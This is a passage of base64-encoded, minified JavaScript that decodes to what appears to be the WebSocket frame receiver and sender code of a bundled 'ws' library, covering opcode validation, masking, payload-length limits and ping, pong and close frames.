VEX01FU1NBR0VfTEVOR1RIIix0aGlzW3VdW25dPTEwMDksdGhpcy5yZW1vdmVMaXN0ZW5lcigiZGF0YSIsXyksdGhpcy5yZXNldCgpfWZ1bmN0aW9uIGcoZSl7dGhpc1tsXS5faW5mbGF0ZT1udWxsLGVbbl09MTAwNyx0aGlzW2RdKGUpfWUuZXhwb3J0cz1wfSwzMTUoZSx0LHMpeyJ1c2Ugc3RyaWN0IjtsZXR7V3JpdGFibGU6aX09cyg3ODEpLHI9cyg2NTgpLHtCSU5BUllfVFlQRVM6byxFTVBUWV9CVUZGRVI6bixrU3RhdHVzQ29kZTphLGtXZWJTb2NrZXQ6aH09cyg3NDIpLHtjb25jYXQ6bCx0b0FycmF5QnVmZmVyOmMsdW5tYXNrOmR9PXMoNzI4KSx7aXNWYWxpZFN0YXR1c0NvZGU6Zixpc1ZhbGlkVVRGODp1fT1zKDg4MyksJD1CdWZmZXJbU3ltYm9sLnNwZWNpZXNdLHA9MCxtPTEsXz0yLGc9Myx5PTQseD01LHY9NjtjbGFzcyBiIGV4dGVuZHMgaXtjb25zdHJ1Y3RvcihlPXt9KXtzdXBlcigpLHRoaXMuX2FsbG93U3luY2hyb25vdXNFdmVudHM9dm9pZCAwPT09ZS5hbGxvd1N5bmNocm9ub3VzRXZlbnRzfHxlLmFsbG93U3luY2hyb25vdXNFdmVudHMsdGhpcy5fYmluYXJ5VHlwZT1lLmJpbmFyeVR5cGV8fG9bMF0sdGhpcy5fZXh0ZW5zaW9ucz1lLmV4dGVuc2lvbnN8fHt9LHRoaXMuX2lzU2VydmVyPSEhZS5pc1NlcnZlcix0aGlzLl9tYXhQYXlsb2FkPTB8ZS5tYXhQYXlsb2FkLHRoaXMuX3NraXBVVEY4VmFsaWRhdGlvbj0hIWUuc2tpcFVURjhWYWxpZGF0aW9uLHRoaXNbaF09dm9pZCAwLHRoaXMuX2J1ZmZlcmVkQnl0ZXM9MCx0aGlzLl9idWZmZXJzPVtdLHRoaXMuX2NvbXByZXNzZWQ9ITEsdGhpcy5fcGF5bG9hZExlbmd0aD0wLHRoaXMuX21hc2s9dm9pZCAwLHRoaXMuX2ZyYWdtZW50ZWQ9MCx0aGlzLl9tYXNrZWQ9ITEsdGhpcy5fZmluPSExLHRoaXMuX29wY29kZT0wLHRoaXMuX3RvdGFsUGF5bG9hZExlbmd0aD0wLHRoaXMuX21lc3NhZ2VMZW5ndGg9MCx0aGlzLl9mcmFnbWVudHM9W10sdGhpcy5fZXJyb3JlZD0hMSx0aGlzLl9sb29wPSExLHRoaXMuX3N0YXRlPXB9X3dyaXRlKGUsdCxzKXtpZig4PT09dGhpcy5fb3Bjb2RlJiZ0aGlzLl9zdGF0ZT09cClyZXR1cm4gcygpO3RoaXMuX2J1ZmZlcmVkQnl0ZXMrPWUubGVuZ3RoLHRoaXMuX2J1ZmZlcnMucHVzaChlKSx0aGlzLnN0YXJ0TG9vcChzKX1jb25zdW1lKGUpe2lmKHRoaXMuX2J1ZmZlcmVkQnl0ZXMtPWUsZT09PXRoaXMuX2J1ZmZlcnNbMF0ubGVuZ3RoKXJldHVybiB0aGlzLl9idWZmZXJzLnNoaWZ0KCk7aWYoZTx0aGlzLl9idWZmZXJzWzBdLmxlbmd0aCl7bGV0IHQ9dGhpcy5fYnVmZmVyc1swXTtyZXR1cm4gdGhpcy5fYnVmZmVyc1swXT1uZXcgJCh0LmJ1ZmZlcix0LmJ5dGVPZmZzZXQrZSx0Lmxlbmd0aC1lKSxuZXcgJCh0LmJ1ZmZlcix0LmJ5dGVPZmZzZXQsZSl9bGV0IHM9QnVmZmVyLmFsbG9jVW5zYWZlKGUpO2Rve2xldCBpPXRoaXMuX2J1ZmZlcnNbMF0scj1zLmxlbmd0aC1lO2U+PWkubGVuZ3RoP3Muc2V0KHRoaXMuX2J1ZmZlcnMuc2hpZnQoKSxyKToocy5zZXQobmV3IFVpbnQ4QXJyYXkoaS5idWZmZXIsaS5ieXRlT2Zmc2V0LGUpLHIpLHRoaXMuX2J1ZmZlcnNbMF09bmV3ICQoaS5idWZmZXIsaS5ieXRlT2Zmc2V0K2UsaS5sZW5ndGgtZSkpLGUtPWkubGVuZ3RofXdoaWxlKGU+MCk7cmV0dXJuIHN9c3RhcnRMb29wKGUpe3RoaXMuX2xvb3A9ITA7ZG8gc3dpdGNoKHRoaXMuX3N0YXRlKXtjYXNlIHA6dGhpcy5nZXRJbmZvKGUpO2JyZWFrO2Nhc2UgbTp0aGlzLmdldFBheWxvYWRMZW5ndGgxNihlKTticmVhaztjYXNlIF86dGhpcy5nZXRQYXlsb2FkTGVuZ3RoNjQoZSk7YnJlYWs7Y2FzZSBnOnRoaXMuZ2V0TWFzaygpO2JyZWFrO2Nhc2UgeTp0aGlzLmdldERhdGEoZSk7YnJlYWs7Y2FzZSB4OmNhc2Ugdjp0aGlzLl9sb29wPSExO3JldHVybn13aGlsZSh0aGlzLl9sb29wKTt0aGlzLl9lcnJvcmVkfHxlKCl9Z2V0SW5mbyhlKXtpZih0aGlzLl9idWZmZXJlZEJ5dGVzPDIpe3RoaXMuX2xvb3A9ITE7cmV0dXJufWxldCB0PXRoaXMuY29uc3VtZSgyKTtpZigoNDgmdFswXSkhPTApe2xldCBzPXRoaXMuY3JlYXRlRXJyb3IoUmFuZ2VFcnJvciwiUlNWMiBhbmQgUlNWMyBtdXN0IGJlIGNsZWFyIiwhMCwxMDAyLCJXU19FUlJfVU5FWFBFQ1RFRF9SU1ZfMl8zIik7ZShzKTtyZXR1cm59bGV0IGk9KDY0JnRbMF0pPT02NDtpZihpJiYhdGhpcy5fZXh0ZW5zaW9uc1tyLmV4dGVuc2lvbk5hbWVdKXtsZXQgbz10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsIlJTVjEgbXVzdCBiZSBjbGVhciIsITAsMTAwMiwiV1NfRVJSX1VORVhQRUNURURfUlNWXzEiKTtlKG8pO3JldHVybn1pZih0aGlzLl9maW49KDEyOCZ0WzBdKT09MTI4LHRoaXMuX29wY29kZT0xNSZ0WzBdLHRoaXMuX3BheWxvYWRMZW5ndGg9MTI3JnRbMV0sMD09PXRoaXMuX29wY29kZSl7aWYoaSl7bGV0IG49dGhpcy5jcmVhdGVFcnJvcihSYW5nZUVycm9yLCJSU1YxIG11c3QgYmUgY2xlYXIiLCEwLDEwMDIsIldTX0VSUl9VTkVYUEVDVEVEX1JTVl8xIik7ZShuKTtyZXR1cm59aWYoIXRoaXMuX2ZyYWdtZW50ZWQpe2xldCBhPXRoaXMuY3JlYXRlRXJyb3IoUmFuZ2VFcnJvciwiaW52YWxpZCBvcGNvZGUgMCIsITAsMTAwMiwiV1NfRVJSX0lOVkFMSURfT1BDT0RFIik7ZShhKTtyZXR1cm59dGhpcy5fb3Bjb2RlPXRoaXMuX2ZyYWdtZW50ZWR9ZWxzZSBpZigxPT09dGhpcy5fb3Bjb2RlfHwyPT09dGhpcy5fb3Bjb2RlKXtpZih0aGlzLl9mcmFnbWVudGVkKXtsZXQgaD10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsYGludmFsaWQgb3Bjb2RlICR7dGhpcy5fb3Bjb2RlfWAsITAsMTAwMiwiV1NfRVJSX0lOVkFMSURfT1BDT0RFIik7ZShoKTtyZXR1cm59dGhpcy5fY29tcHJlc3NlZD1pfWVsc2UgaWYodGhpcy5fb3Bjb2RlPjcmJnRoaXMuX29wY29kZTwxMSl7aWYoIXRoaXMuX2Zpbil7bGV0IGw9dGhpcy5jcmVhdGVFcnJvcihSYW5nZUVycm9yLCJGSU4gbXVzdCBiZSBzZXQiLCEwLDEwMDIsIldTX0VSUl9FWFBFQ1RFRF9GSU4iKTtlKGwpO3JldHVybn1pZihpKXtsZXQgYz10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsIlJTVjEgbXVzdCBiZSBjbGVhciIsITAsMTAwMiwiV1NfRVJSX1VORVhQRUNURURfUlNWXzEiKTtlKGMpO3JldHVybn1pZih0aGlzLl9wYXlsb2FkTGVuZ3RoPjEyNXx8OD09PXRoaXMuX29wY29kZSYmMT09PXRoaXMuX3BheWxvYWRMZW5ndGgpe2xldCBkPXRoaXMuY3JlYXRlRXJyb3IoUmFuZ2VFcnJvcixgaW52YWxpZCBwYXlsb2FkIGxlbmd0aCAke3RoaXMuX3BheWxvYWRMZW5ndGh9YCwhMCwxMDAyLCJXU19FUlJfSU5WQUxJRF9DT05UUk9MX1BBWUxPQURfTEVOR1RIIik7ZShkKTtyZXR1cm59fWVsc2V7bGV0IGY9dGhpcy5jcmVhdGVFcnJvcihSYW5nZUVycm9yLGBpbnZhbGlkIG9wY29kZSAke3RoaXMuX29wY29kZX1gLCEwLDEwMDIsIldTX0VSUl9JTlZBTElEX09QQ09ERSIpO2UoZik7cmV0dXJufWlmKHRoaXMuX2Zpbnx8dGhpcy5fZnJhZ21lbnRlZHx8KHRoaXMuX2ZyYWdtZW50ZWQ9dGhpcy5fb3Bjb2RlKSx0aGlzLl9tYXNrZWQ9KDEyOCZ0WzFdKT09MTI4LHRoaXMuX2lzU2VydmVyKXtpZighdGhpcy5fbWFza2VkKXtsZXQgdT10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsIk1BU0sgbXVzdCBiZSBzZXQiLCEwLDEwMDIsIldTX0VSUl9FWFBFQ1RFRF9NQVNLIik7ZSh1KTtyZXR1cm59fWVsc2UgaWYodGhpcy5fbWFza2VkKXtsZXQgJD10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsIk1BU0sgbXVzdCBiZSBjbGVhciIsITAsMTAwMiwiV1NfRVJSX1VORVhQRUNURURfTUFTSyIpO2UoJCk7cmV0dXJufTEyNj09PXRoaXMuX3BheWxvYWRMZW5ndGg/dGhpcy5fc3RhdGU9bToxMjc9PT10aGlzLl9wYXlsb2FkTGVuZ3RoP3RoaXMuX3N0YXRlPV86dGhpcy5oYXZlTGVuZ3RoKGUpfWdldFBheWxvYWRMZW5ndGgxNihlKXtpZih0aGlzLl9idWZmZXJlZEJ5dGVzPDIpe3RoaXMuX2xvb3A9ITE7cmV0dXJufXRoaXMuX3BheWxvYWRMZW5ndGg9dGhpcy5jb25zdW1lKDIpLnJlYWRVSW50MTZCRSgwKSx0aGlzLmhhdmVMZW5ndGgoZSl9Z2V0UGF5bG9hZExlbmd0aDY0KGUpe2lmKHRoaXMuX2J1ZmZlcmVkQnl0ZXM8OCl7dGhpcy5fbG9vcD0hMTtyZXR1cm59bGV0IHQ9dGhpcy5jb25zdW1lKDgpLHM9dC5yZWFkVUludDMyQkUoMCk7aWYocz4yMDk3MTUxKXtsZXQgaT10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsIlVuc3VwcG9ydGVkIFdlYlNvY2tldCBmcmFtZTogcGF5bG9hZCBsZW5ndGggPiAyXjUzIC0gMSIsITEsMTAwOSwiV1NfRVJSX1VOU1VQUE9SVEVEX0RBVEFfUEFZTE9BRF9MRU5HVEgiKTtlKGkpO3JldHVybn10aGlzLl9wYXlsb2FkTGVuZ3RoPTQyOTQ5NjcyOTYqcyt0LnJlYWRVSW50MzJCRSg0KSx0aGlzLmhhdmVMZW5ndGgoZSl9aGF2ZUxlbmd0aChlKXtpZih0aGlzLl9wYXlsb2FkTGVuZ3RoJiZ0aGlzLl9vcGNvZGU8OCYmKHRoaXMuX3RvdGFsUGF5bG9hZExlbmd0aCs9dGhpcy5fcGF5bG9hZExlbmd0aCx0aGlzLl90b3RhbFBheWxvYWRMZW5ndGg+dGhpcy5fbWF4UGF5bG9hZCYmdGhpcy5fbWF4UGF5bG9hZD4wKSl7bGV0IHQ9dGhpcy5jcmVhdGVFcnJvcihSYW5nZUVycm9yLCJNYXggcGF5bG9hZCBzaXplIGV4Y2VlZGVkIiwhMSwxMDA5LCJXU19FUlJfVU5TVVBQT1JURURfTUVTU0FHRV9MRU5HVEgiKTtlKHQpO3JldHVybn10aGlzLl9tYXNrZWQ/dGhpcy5fc3RhdGU9Zzp0aGlzLl9zdGF0ZT15fWdldE1hc2soKXtpZih0aGlzLl9idWZmZXJlZEJ5dGVzPDQpe3RoaXMuX2xvb3A9ITE7cmV0dXJufXRoaXMuX21hc2s9dGhpcy5jb25zdW1lKDQpLHRoaXMuX3N0YXRlPXl9Z2V0RGF0YShlKXtsZXQgdD1uO2lmKHRoaXMuX3BheWxvYWRMZW5ndGgpe2lmKHRoaXMuX2J1ZmZlcmVkQnl0ZXM8dGhpcy5fcGF5bG9hZExlbmd0aCl7dGhpcy5fbG9vcD0hMTtyZXR1cm59dD10aGlzLmNvbnN1bWUodGhpcy5fcGF5bG9hZExlbmd0aCksdGhpcy5fbWFza2VkJiYodGhpcy5fbWFza1swXXx0aGlzLl9tYXNrWzFdfHRoaXMuX21hc2tbMl18dGhpcy5fbWFza1szXSkhPTAmJmQodCx0aGlzLl9tYXNrKX1pZih0aGlzLl9vcGNvZGU+Nyl7dGhpcy5jb250cm9sTWVzc2FnZSh0LGUpO3JldHVybn1pZih0aGlzLl9jb21wcmVzc2VkKXt0aGlzLl9zdGF0ZT14LHRoaXMuZGVjb21wcmVzcyh0LGUpO3JldHVybn10Lmxlbmd0aCYmKHRoaXMuX21lc3NhZ2VMZW5ndGg9dGhpcy5fdG90YWxQYXlsb2FkTGVuZ3RoLHRoaXMuX2ZyYWdtZW50cy5wdXNoKHQpKSx0aGlzLmRhdGFNZXNzYWdlKGUpfWRlY29tcHJlc3MoZSx0KXtsZXQgcz10aGlzLl9leHRlbnNpb25zW3IuZXh0ZW5zaW9uTmFtZV07cy5kZWNvbXByZXNzKGUsdGhpcy5fZmluLChlLHMpPT57aWYoZSlyZXR1cm4gdChlKTtpZihzLmxlbmd0aCl7aWYodGhpcy5fbWVzc2FnZUxlbmd0aCs9cy5sZW5ndGgsdGhpcy5fbWVzc2FnZUxlbmd0aD50aGlzLl9tYXhQYXlsb2FkJiZ0aGlzLl9tYXhQYXlsb2FkPjApe2xldCBpPXRoaXMuY3JlYXRlRXJyb3IoUmFuZ2VFcnJvciwiTWF4IHBheWxvYWQgc2l6ZSBleGNlZWRlZCIsITEsMTAwOSwiV1NfRVJSX1VOU1VQUE9SVEVEX01FU1NBR0VfTEVOR1RIIik7dChpKTtyZXR1cm59dGhpcy5fZnJhZ21lbnRzLnB1c2gocyl9dGhpcy5kYXRhTWVzc2FnZSh0KSx0aGlzLl9zdGF0ZT09PXAmJnRoaXMuc3RhcnRMb29wKHQpfSl9ZGF0YU1lc3NhZ2UoZSl7aWYoIXRoaXMuX2Zpbil7dGhpcy5fc3RhdGU9cDtyZXR1cm59bGV0IHQ9dGhpcy5fbWVzc2FnZUxlbmd0aCxzPXRoaXMuX2ZyYWdtZW50cztpZih0aGlzLl90b3RhbFBheWxvYWRMZW5ndGg9MCx0aGlzLl9tZXNzYWdlTGVuZ3RoPTAsdGhpcy5fZnJhZ21lbnRlZD0wLHRoaXMuX2ZyYWdtZW50cz1bXSwyPT09dGhpcy5fb3Bjb2RlKXtsZXQgaTtpPSJub2RlYnVmZmVyIj09PXRoaXMuX2JpbmFyeVR5cGU/bChzLHQpOiJhcnJheWJ1ZmZlciI9PT10aGlzLl9iaW5hcnlUeXBlP2MobChzLHQpKToiYmxvYiI9PT10aGlzLl9iaW5hcnlUeXBlP25ldyBCbG9iKHMpOnMsdGhpcy5fYWxsb3dTeW5jaHJvbm91c0V2ZW50cz8odGhpcy5lbWl0KCJtZXNzYWdlIixpLCEwKSx0aGlzLl9zdGF0ZT1wKToodGhpcy5fc3RhdGU9dixzZXRJbW1lZGlhdGUoKCk9Pnt0aGlzLmVtaXQoIm1lc3NhZ2UiLGksITApLHRoaXMuX3N0YXRlPXAsdGhpcy5zdGFydExvb3AoZSl9KSl9ZWxzZXtsZXQgcj1sKHMsdCk7aWYoIXRoaXMuX3NraXBVVEY4VmFsaWRhdGlvbiYmIXUocikpe2xldCBvPXRoaXMuY3JlYXRlRXJyb3IoRXJyb3IsImludmFsaWQgVVRGLTggc2VxdWVuY2UiLCEwLDEwMDcsIldTX0VSUl9JTlZBTElEX1VURjgiKTtlKG8pO3JldHVybn10aGlzLl9zdGF0ZT09PXh8fHRoaXMuX2FsbG93U3luY2hyb25vdXNFdmVudHM/KHRoaXMuZW1pdCgibWVzc2FnZSIsciwhMSksdGhpcy5fc3RhdGU9cCk6KHRoaXMuX3N0YXRlPXYsc2V0SW1tZWRpYXRlKCgpPT57dGhpcy5lbWl0KCJtZXNzYWdlIixyLCExKSx0aGlzLl9zdGF0ZT1wLHRoaXMuc3RhcnRMb29wKGUpfSkpfX1jb250cm9sTWVzc2FnZShlLHQpe2lmKDg9PT10aGlzLl9vcGNvZGUpe2lmKDA9PT1lLmxlbmd0aCl0aGlzLl9sb29wPSExLHRoaXMuZW1pdCgiY29uY2x1ZGUiLDEwMDUsbiksdGhpcy5lbmQoKTtlbHNle2xldCBzPWUucmVhZFVJbnQxNkJFKDApO2lmKCFmKHMpKXtsZXQgaT10aGlzLmNyZWF0ZUVycm9yKFJhbmdlRXJyb3IsYGludmFsaWQgc3RhdHVzIGNvZGUgJHtzfWAsITAsMTAwMiwiV1NfRVJSX0lOVkFMSURfQ0xPU0VfQ09ERSIpO3QoaSk7cmV0dXJufWxldCByPW5ldyAkKGUuYnVmZmVyLGUuYnl0ZU9mZnNldCsyLGUubGVuZ3RoLTIpO2lmKCF0aGlzLl9za2lwVVRGOFZhbGlkYXRpb24mJiF1KHIpKXtsZXQgbz10aGlzLmNyZWF0ZUVycm9yKEVycm9yLCJpbnZhbGlkIFVURi04IHNlcXVlbmNlIiwhMCwxMDA3LCJXU19FUlJfSU5WQUxJRF9VVEY4Iik7dChvKTtyZXR1cm59dGhpcy5fbG9vcD0hMSx0aGlzLmVtaXQoImNvbmNsdWRlIixzLHIpLHRoaXMuZW5kKCl9dGhpcy5fc3RhdGU9cDtyZXR1cm59dGhpcy5fYWxsb3dTeW5jaHJvbm91c0V2ZW50cz8odGhpcy5lbWl0KDk9PT10aGlzLl9vcGNvZGU/InBpbmciOiJwb25nIixlKSx0aGlzLl9zdGF0ZT1wKToodGhpcy5fc3RhdGU9dixzZXRJbW1lZGlhdGUoKCk9Pnt0aGlzLmVtaXQoOT09PXRoaXMuX29wY29kZT8icGluZyI6InBvbmciLGUpLHRoaXMuX3N0YXRlPXAsdGhpcy5zdGFydExvb3AodCl9KSl9Y3JlYXRlRXJyb3IoZSx0LHMsaSxyKXt0aGlzLl9sb29wPSExLHRoaXMuX2Vycm9yZWQ9ITA7bGV0IG89bmV3IGUocz9gSW52YWxpZCBXZWJTb2NrZXQgZnJhbWU6ICR7dH1gOnQpO3JldHVybiBFcnJvci5jYXB0dXJlU3RhY2tUcmFjZShvLHRoaXMuY3JlYXRlRXJyb3IpLG8uY29kZT1yLG9bYV09aSxvfX1lLmV4cG9ydHM9Yn0sNjc1KGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e0R1cGxleDppfT1zKDc4MSkse3JhbmRvbUZpbGxTeW5jOnJ9PXMoMTEzKSxvPXMoNjU4KSx7RU1QVFlfQlVGRkVSOm4sa1dlYlNvY2tldDphLE5PT1A6aH09cyg3NDIpLHtpc0Jsb2I6bCxpc1ZhbGlkU3RhdHVzQ29kZTpjfT1zKDg4Mykse21hc2s6ZCx0b0J1ZmZlcjpmfT1zKDcyOCksdT1TeW1ib2woImtCeXRlTGVuZ3RoIiksJD1CdWZmZXIuYWxsb2MoNCkscD04MTkyLG0sXz1wLGc9MCx5PTEseD0yO2NsYXNzIHZ7Y29uc3RydWN0b3IoZSx0LHMpe3RoaXMuX2V4dGVuc2lvbnM9dHx8e30scyYmKHRoaXMuX2dlbmVyYXRlTWFzaz1zLHRoaXMuX21hc2tCdWZmZXI9QnVmZmVyLmFsbG9jKDQpKSx0aGlzLl9zb2NrZXQ9ZSx0aGlzLl9maXJzdEZyYWdtZW50PSEwLHRoaXMuX2NvbXByZXNzPSExLHRoaXMuX2J1ZmZlcmVkQnl0ZXM9MCx0aGlzLl9xdWV1ZT1bXSx0aGlzLl9zdGF0ZT1nLHRoaXMub25lcnJvcj1oLHRoaXNbYV09dm9pZCAwfXN0YXRpYyBmcmFtZShlLHQpe2xldCBzLGk9ITEsbz0yLG49ITE7dC5tYXNrJiYocz10Lm1hc2tCdWZmZXJ8fCQsdC5nZW5lcmF0ZU1hc2s/dC5nZW5lcmF0ZU1hc2socyk6KF89PT1wJiYodm9pZCAwPT09bSYmKG09QnVmZmVyLmFsbG9jKHApKSxyKG0sMCxwKSxfPTApLHNbMF09bVtfKytdLHNbMV09bVtfKytdLHNbMl09bVtfKytdLHNbM109bVtfKytdKSxuPShzWzBdfHNbMV18c1syXXxzWzNdKT09MCxvPTYpO2xldCBhOyJzdHJpbmciPT10eXBlb2YgZT9hPSghdC5tYXNrfHxuKSYmdm9pZCAwIT09dFt1XT90W3VdOihlPUJ1ZmZlci5mcm9tKGUpKS5sZW5ndGg6KGE9ZS5sZW5ndGgsaT10Lm1hc2smJnQucmVhZE9ubHkmJiFuKTtsZXQgaD1hO2E+PTY1NTM2PyhvKz04LGg9MTI3KTphPjEyNSYmKG8rPTIsaD0xMjYpO2xldCBsPUJ1ZmZlci5hbGxvY1Vuc2FmZShpP2ErbzpvKTtyZXR1cm4obFswXT10LmZpbj8xMjh8dC5vcGNvZGU6dC5vcGNvZGUsdC5yc3YxJiYobFswXXw9NjQpLGxbMV09aCwxMjY9PT1oP2wud3JpdGVVSW50MTZCRShhLDIpOjEyNz09PWgmJihsWzJdPWxbM109MCxsLndyaXRlVUludEJFKGEsNCw2KSksdC5tYXNrKT8obFsxXXw9MTI4LGxbby00XT1zWzBdLGxbby0zXT1zWzFdLGxbby0yXT1zWzJdLGxbby0xXT1zWzNdLG4pP1tsLGVdOmk/KGQoZSxzLGwsbyxhKSxbbF0pOihkKGUscyxlLDAsYSksW2wsZV0pOltsLGVdfWNsb3NlKGUsdCxzLGkpe2xldCByO2lmKHZvaWQgMD09PWUpcj1uO2Vsc2UgaWYoIm51bWJlciI9PXR5cGVvZiBlJiZjKGUpKXtpZih2b2lkIDAhPT10JiZ0Lmxlbmd0aCl7bGV0IG89QnVmZmVyLmJ5dGVMZW5ndGgodCk7aWYobz4xMjMpdGhyb3cgUmFuZ2VFcnJvcigiVGhlIG1lc3NhZ2UgbXVzdCBub3QgYmUgZ3JlYXRlciB0aGFuIDEyMyBieXRlcyIpOyhyPUJ1ZmZlci5hbGxvY1Vuc2FmZSgyK28pKS53cml0ZVVJbnQxNkJFKGUsMCksInN0cmluZyI9PXR5cGVvZiB0P3Iud3JpdGUodCwyKTpyLnNldCh0LDIpfWVsc2Uocj1CdWZmZXIuYWxsb2NVbnNhZmUoMikpLndyaXRlVUludDE2QkUoZSwwKX1lbHNlIHRocm93IFR5cGVFcnJvcigiRmlyc3QgYXJndW1lbnQgbXVzdCBiZSBhIHZhbGlkIGVycm9yIGNvZGUgbnVtYmVyIik7bGV0IGE9e1t1XTpyLmxlbmd0aCxmaW46ITAsZ2VuZXJhdGVNYXNrOnRoaXMuX2dlbmVyYXRlTWFzayxtYXNrOnMsbWFza0J1ZmZlcjp0aGlzLl9tYXNrQnVmZmVyLG9wY29kZTo4LHJlYWRPbmx5OiExLHJzdjE6ITF9O3RoaXMuX3N0YXRlIT09Zz90aGlzLmVucXVldWUoW3RoaXMuZGlzcGF0Y2gsciwhMSxhLGldKTp0aGlzLnNlbmRGcmFtZSh2LmZyYW1lKHIsYSksaSl9cGluZyhlLHQscyl7bGV0IGkscjtpZigic3RyaW5nIj09dHlwZW9mIGU/KGk9QnVmZmVyLmJ5dGVMZW5ndGgoZSkscj0hMSk6bChlKT8oaT1lLnNpemUscj0hMSk6KGk9KGU9ZihlKSkubGVuZ3RoLHI9Zi5yZWFkT25seSksaT4xMjUpdGhyb3cgUmFuZ2VFcnJvcigiVGhlIGRhdGEgc2l6ZSBtdXN0IG5vdCBiZSBncmVhdGVyIHRoYW4gMTI1IGJ5dGVzIik7bGV0IG89e1t1XTppLGZpbjohMCxnZW5lcmF0ZU1hc2s6dGhpcy5fZ2VuZXJhdGVNYXNrLG1hc2s6dCxtYXNrQnVmZmVyOnRoaXMuX21hc2tCdWZmZXIsb3Bjb2RlOjkscmVhZE9ubHk6cixyc3YxOiExfTtsKGUpP3RoaXMuX3N0YXRlIT09Zz90aGlzLmVucXVldWUoW3RoaXMuZ2V0QmxvYkRhdGEsZSwhMSxvLHNdKTp0aGlzLmdldEJsb2JEYXRhKGUsITEsbyxzKTp0aGlzLl9zdGF0ZSE9PWc/dGhpcy5lbnF1ZXVlKFt0aGlzLmRpc3BhdGNoLGUsITEsbyxzXSk6dGhpcy5zZW5kRnJhbWUodi5mcmFtZShlLG8pLHMpfXBvbmcoZSx0LHMpe2xldCBpLHI7aWYoInN0cmluZyI9PXR5cGVvZiBlPyhpPUJ1ZmZlci5ieXRlTGVuZ3RoKGUpLHI9ITEpOmwoZSk/KGk9ZS5zaXplLHI9ITEpOihpPShlPWYoZSkpLmxlbmd0aCxyPWYucmVhZE9ubHkpLGk+MTI1KXRocm93IFJhbmdlRXJyb3IoIlRoZSBkYXRhIHNpemUgbXVzdCBub3QgYmUgZ3JlYXRlciB0aGFuIDEyNSBieXRlcyIpO2xldCBvPXtbdV06aSxmaW46ITAsZ2VuZXJhdGVNYXNrOnRoaXMuX2dlbmVyYXRlTWFzayxtYXNrOnQsbWFza0J1ZmZlcjp0aGlzLl9tYXNrQnVmZmVyLG9wY29kZToxMCxyZWFkT25seTpyLHJzdjE6ITF9O2woZSk/dGhpcy5fc3RhdGUhPT1nP3RoaXMuZW5xdWV1ZShbdGhpcy5nZXRCbG9iRGF0YSxlLCExLG8sc10pOnRoaXMuZ2V0QmxvYkRhdGEoZSwhMSxvLHMpOnRoaXMuX3N0YXRlIT09Zz90aGlzLmVucXVldWUoW3RoaXMuZGlzcGF0Y2gsZSwhMSxvLHNdKTp0aGlzLnNlbmRGcmFtZSh2LmZyYW1lKGUsbykscyl9c2VuZChlLHQscyl7bGV0IGk9dGhpcy5fZXh0ZW5zaW9uc1tvLmV4dGVuc2lvbk5hbWVdLHI9dC5iaW5hcnk/MjoxLG49dC5jb21wcmVzcyxhLGg7InN0cmluZyI9PXR5cGVvZiBlPyhhPUJ1ZmZlci5ieXRlTGVuZ3RoKGUpLGg9ITEpOmwoZSk/KGE9ZS5zaXplLGg9ITEpOihhPShlPWYoZSkpLmxlbmd0aCxoPWYucmVhZE9ubHkpLHRoaXMuX2ZpcnN0RnJhZ21lbnQ/KHRoaXMuX2ZpcnN0RnJhZ21lbnQ9ITEsbiYmaSYmaS5wYXJhbXNbaS5faXNTZXJ2ZXI/InNlcnZlcl9ub19jb250ZXh0X3Rha2VvdmVyIjoiY2xpZW50X25vX2NvbnRleHRfdGFrZW92ZXIiXSYmKG49YT49aS5fdGhyZXNob2xkKSx0aGlzLl9jb21wcmVzcz1uKToobj0hMSxyPTApLHQuZmluJiYodGhpcy5fZmlyc3RGcmFnbWVudD0hMCk7bGV0IGM9e1t1XTphLGZpbjp0LmZpbixnZW5lcmF0ZU1hc2s6dGhpcy5fZ2VuZXJhdGVNYXNrLG1hc2s6dC5tYXNrLG1hc2tCdWZmZXI6dGhpcy5fbWFza0J1ZmZlcixvcGNvZGU6cixyZWFkT25seTpoLHJzdjE6bn07bChlKT90aGlzLl9zdGF0ZSE9PWc/dGhpcy5lbnF1ZXVlKFt0aGlzLmdldEJsb2JEYXRhLGUsdGhpcy5fY29tcHJlc3MsYyxzXSk6dGhpcy5nZXRCbG9iRGF0YShlLHRoaXMuX2NvbXByZXNzLGMscyk6dGhpcy5fc3RhdGUhPT1nP3RoaXMuZW5xdWV1ZShbdGhpcy5kaXNwYXRjaCxlLHRoaXMuX2NvbXByZXNzLGMsc10pOnRoaXMuZGlzcGF0Y2goZSx0aGlzLl9jb21wcmVzcyxjLHMpfWdldEJsb2JEYXRhKGUsdCxzLGkpe3RoaXMuX2J1ZmZlcmVkQnl0ZXMrPXNbdV0sdGhpcy5fc3RhdGU9eCxlLmFycmF5QnVmZmVyKCkudGhlbihlPT57aWYodGhpcy5fc29ja2V0LmRlc3Ryb3llZCl7bGV0IHI9RXJyb3IoIlRoZSBzb2NrZXQgd2FzIGNsb3NlZCB3aGlsZSB0aGUgYmxvYiB3YXMgYmVpbmcgcmVhZCIpO3Byb2Nlc3MubmV4dFRpY2soYix0aGlzLHIsaSk7cmV0dXJufXRoaXMuX2J1ZmZlcmVkQnl0ZXMtPXNbdV07bGV0IG89ZihlKTt0P3RoaXMuZGlzcGF0Y2gobyx0LHMsaSk6KHRoaXMuX3N0YXRlPWcsdGhpcy5zZW5kRnJhbWUodi5mcmFtZShvLHMpLGkpLHRoaXMuZGVxdWV1ZSgpKX0pLmNhdGNoKGU9Pntwcm9jZXNzLm5leHRUaWNrKFMsdGhpcyxlLGkpfSl9ZGlzcGF0Y2goZSx0LHMsaSl7aWYoIXQpe3RoaXMuc2VuZEZyYW1lKHYuZnJhbWUoZSxzKSxpKTtyZXR1cm59bGV0IHI9dGhpcy5fZXh0ZW5zaW9uc1tvLmV4dGVuc2lvbk5hbWVdO3RoaXMuX2J1ZmZlcmVkQnl0ZXMrPXNbdV0sdGhpcy5fc3RhdGU9eSxyLmNvbXByZXNzKGUscy5maW4sKGUsdCk9PntpZih0aGlzLl9zb2NrZXQuZGVzdHJveWVkKXtsZXQgcj1FcnJvcigiVGhlIHNvY2tldCB3YXMgY2xvc2VkIHdoaWxlIGRhdGEgd2FzIGJlaW5nIGNvbXByZXNzZWQiKTtiKHRoaXMscixpKTtyZXR1cm59dGhpcy5fYnVmZmVyZWR